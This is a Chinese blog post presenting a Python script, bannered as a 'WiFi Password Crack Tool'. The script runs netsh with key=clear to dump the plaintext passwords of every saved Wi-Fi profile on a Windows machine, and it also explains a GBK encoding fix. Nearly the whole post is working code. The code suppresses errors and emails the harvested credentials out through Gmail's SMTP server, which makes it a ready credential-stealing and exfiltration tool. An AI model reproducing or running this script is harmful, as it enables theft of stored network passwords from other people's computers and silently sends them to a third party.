利用Python获取Wifi密码并通过邮件汇报同时解决由于字符集导致的执行错误

该Python脚本利用Subprocess第三方模块执行相应的windows命令获取该电脑曾经访问过的WiFi的密码以及其他详细信息, 首先通过执行命令获得所有的profile:

C:\WINDOWS\system32>netsh wlan show profile

  这里需要尤其注意字符集的问题,由于windows的默认字符集是GBK,因此在执行subprocess.check_output()方法时需要传递该字符集参数,否则会报以下错误:

UnicodeDecodeError: 'utf-8' codec can't decode byte 0xbd in position 2: invalid start byte

       然后利用正则表达式提取出每个profile的名称,继续利用命令得到每个profile的具体信息,包括明文的密码。

 

 

import profile
import subprocess
import smtplib
from email.mime.text import MIMEText
from email.header import Header
import sys
import re
"""

Get all profiles
Get password for each profile
Email Send 

"""


def banner():
    banner = """
        ****************************************

            WiFi Password Crack Tool By Jason

        ****************************************
    """
    print(banner)


def get_wifi_password():
    wlan_profile_result = ""
    command1 = "netsh wlan show profile"
    try:
        res = subprocess.check_output(command1, shell=True, encoding='GBK', stderr=subprocess.STDOUT)  
        patterns = r"(?:所有用户配置文件\s*:\s*)(.*)"
        profile_list = re.findall(patterns,res )
        # print(profile_list)
        if len(profile_list) == 0:                    #如果没有发现任何profile,那么久退出程序
            sys.exit()
        for pro in profile_list:
            try:
                command2 = 'netsh wlan show profile '+'"'+pro.strip('\n').strip()+'"' +' key=clear'
                # print("Command:  ", command2)
                res2 = subprocess.check_output(command2, shell=True, encoding='GBK', stderr=subprocess.STDOUT)
    
                # print(res2)
                wlan_profile_result = wlan_profile_result + res2
            except:                                   #必须捕获异常,否则在执行命令的时候,可能会出错,导致无法输出结果
                pass
        # print(wlan_profile_result) 
        return wlan_profile_result

    except:
        pass
    

def send_email(username, password, result):
    message = MIMEText(result,'plain','utf-8')
    message['From'] = Header(username, 'utf-8')
    message['To'] = Header(username, 'utf-8') 
    mail_server = smtplib.SMTP("smtp.gmail.com",587)
    mail_server.starttls()
    mail_server.login(username, password)
    mail_server.sendmail(username, username, message.as_string())
    print("Successfully to send!")

if __name__ == "__main__":
    banner()
    username = 'xxxxxxx@gmail.com'
    password = 'xxxxxxxxxxxxxxxxxxx'
    result = get_wifi_password()
    if result is None:
        sys.exit()
    send_email(username, password, result)

    

 

posted @ 2022-04-03 11:34  Jason_huawen  阅读(103)  评论(0编辑  收藏  举报